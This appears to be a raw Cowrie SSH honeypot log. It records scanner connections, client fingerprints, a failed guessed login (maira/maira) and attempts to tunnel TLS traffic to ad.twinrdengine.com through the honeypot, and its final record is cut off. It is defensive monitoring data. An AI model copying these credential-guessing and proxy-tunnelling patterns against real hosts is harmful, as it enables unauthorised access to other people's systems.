{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"158.69.55.152","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 158.69.55.152:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:13.965051Z","src_ip":"63.141.242.2","session":"8e8dffde30e1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"158.69.55.152","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x90\\xae\"\\x0c\\x7f\\xb3\\x04\\xf5\\x0eR\\xb9\\xe4\\xa6\\x8b\\xd7\\x91{\\x95\\xe1-\\x18\\xb7\\xbc($\\x12\\xe1Ub\\xed6> \\xb8\\x93\\x12v\\x88\\xe7[9\\xc4p\\xc1P\\xb3 U\\x19\\xab\\xba\\xb03\\x98v\\xee8\\xaf\\xa5\\xd2\\xcf\\xcd=G\\x89\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x18\\x00\\x16\\x00\\x00\\x13ad.twinrdengine.com\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x97*\\xb4\\x9e\\rH\\x89+\\x87\\xcbQ\\xbc\\x18j\\x8bd\\xef!\\xf6sO \\xfd\\xcb\\xa8\\xd7H\\x11\\xfa Hw\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xc9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 158.69.55.152:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x90\\xae\"\\x0c\\x7f\\xb3\\x04\\xf5\\x0eR\\xb9\\xe4\\xa6\\x8b\\xd7\\x91{\\x95\\xe1-\\x18\\xb7\\xbc($\\x12\\xe1Ub\\xed6> \\xb8\\x93\\x12v\\x88\\xe7[9\\xc4p\\xc1P\\xb3 U\\x19\\xab\\xba\\xb03\\x98v\\xee8\\xaf\\xa5\\xd2\\xcf\\xcd=G\\x89\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x18\\x00\\x16\\x00\\x00\\x13ad.twinrdengine.com\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x97*\\xb4\\x9e\\rH\\x89+\\x87\\xcbQ\\xbc\\x18j\\x8bd\\xef!\\xf6sO \\xfd\\xcb\\xa8\\xd7H\\x11\\xfa Hw\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xc9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:13.968035Z","src_ip":"63.141.242.2","session":"8e8dffde30e1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"158.69.55.152","dst_port":443,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 158.69.55.152:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:14.006040Z","session":"8e8dffde30e1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"158.69.55.152","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 158.69.55.152:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:14.057657Z","src_ip":"63.141.242.2","session":"8e8dffde30e1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"158.69.55.152","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x103pz\\x12\\xe2\\xae\\xda\\x0clP\\x82\\x96\\xbaN\\xc0\\xf3\\xeb\\xb9$\\x96\\xec\\x94?\\xf0\\xca\\xb5j\\xea\\x91i\\xfe \\xa4v\\xa3nI\\xe4=\\x9f\\xaa\\x83\\x88\\\\9pr\\xb4%&\\x94l\\xeei\\x7f\\xac7&_f\\x8f\\\\\\xa9\\xd2\\x00\"\\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x18\\x00\\x16\\x00\\x00\\x13ad.twinrdengine.com\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x83\\xc2\\x03K#\\xeb\\x14\\x17\\x93^\\x16#?\\x7f\\x9fj\\x1f\\x15g\\x14\\x8c:9tm\\xa7\\xcd3\\xc4\\xda\\xd1[\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xc5\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 158.69.55.152:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x103pz\\x12\\xe2\\xae\\xda\\x0clP\\x82\\x96\\xbaN\\xc0\\xf3\\xeb\\xb9$\\x96\\xec\\x94?\\xf0\\xca\\xb5j\\xea\\x91i\\xfe \\xa4v\\xa3nI\\xe4=\\x9f\\xaa\\x83\\x88\\\\9pr\\xb4%&\\x94l\\xeei\\x7f\\xac7&_f\\x8f\\\\\\xa9\\xd2\\x00\"\\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x18\\x00\\x16\\x00\\x00\\x13ad.twinrdengine.com\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x83\\xc2\\x03K#\\xeb\\x14\\x17\\x93^\\x16#?\\x7f\\x9fj\\x1f\\x15g\\x14\\x8c:9tm\\xa7\\xcd3\\xc4\\xda\\xd1[\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xc5\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:14.064515Z","src_ip":"63.141.242.2","session":"8e8dffde30e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.185.132.219","src_port":63082,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb950a75a31f","protocol":"ssh","message":"New connection: 147.185.132.219:63082 (159.203.135.109:22) [session: eb950a75a31f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:15.456780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:16.488285Z","src_ip":"147.185.132.219","session":"eb950a75a31f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.9","message":"Connection lost after 7.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:17.314165Z","src_ip":"63.141.242.2","session":"8e8dffde30e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:17.834569Z","src_ip":"147.185.132.219","session":"eb950a75a31f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":22600,"dst_ip":"159.203.135.109","dst_port":22,"session":"881d588b22dd","protocol":"ssh","message":"New connection: 91.92.40.36:22600 (159.203.135.109:22) [session: 881d588b22dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:20.785329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:20.790652Z","src_ip":"91.92.40.36","session":"881d588b22dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:23.075670Z","src_ip":"91.92.40.36","session":"881d588b22dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maira","password":"maira","message":"login attempt [maira/maira] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:23.097679Z","src_ip":"91.92.40.36","session":"956f5b203433","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.9","message":"Connection lost after 10.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:26.327060Z","src_ip":"147.185.132.219","session":"eb950a75a31f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":40428,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f6d48eeb70a","protocol":"ssh","message":"New connection: 27.71.230.31:40428 (159.203.135.109:22) [session: 0f6d48eeb70a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:26.330399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:26.337192Z","src_ip":"27.71.230.31","session":"0f6d48eeb70a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":60392,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2809ae1963f","protocol":"ssh","message":"New connection: 91.92.40.36:60392 (159.203.135.109:22) [session: a2809ae1963f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:26.715660Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:26.850074Z","src_ip":"27.71.230.31","session":"0f6d48eeb70a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.9","message":"Connection lost after 15.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:28.188475Z","src_ip":"91.92.40.36","session":"956f5b203433","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:28.416253Z","src_ip":"91.92.40.36","session":"a2809ae1963f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sh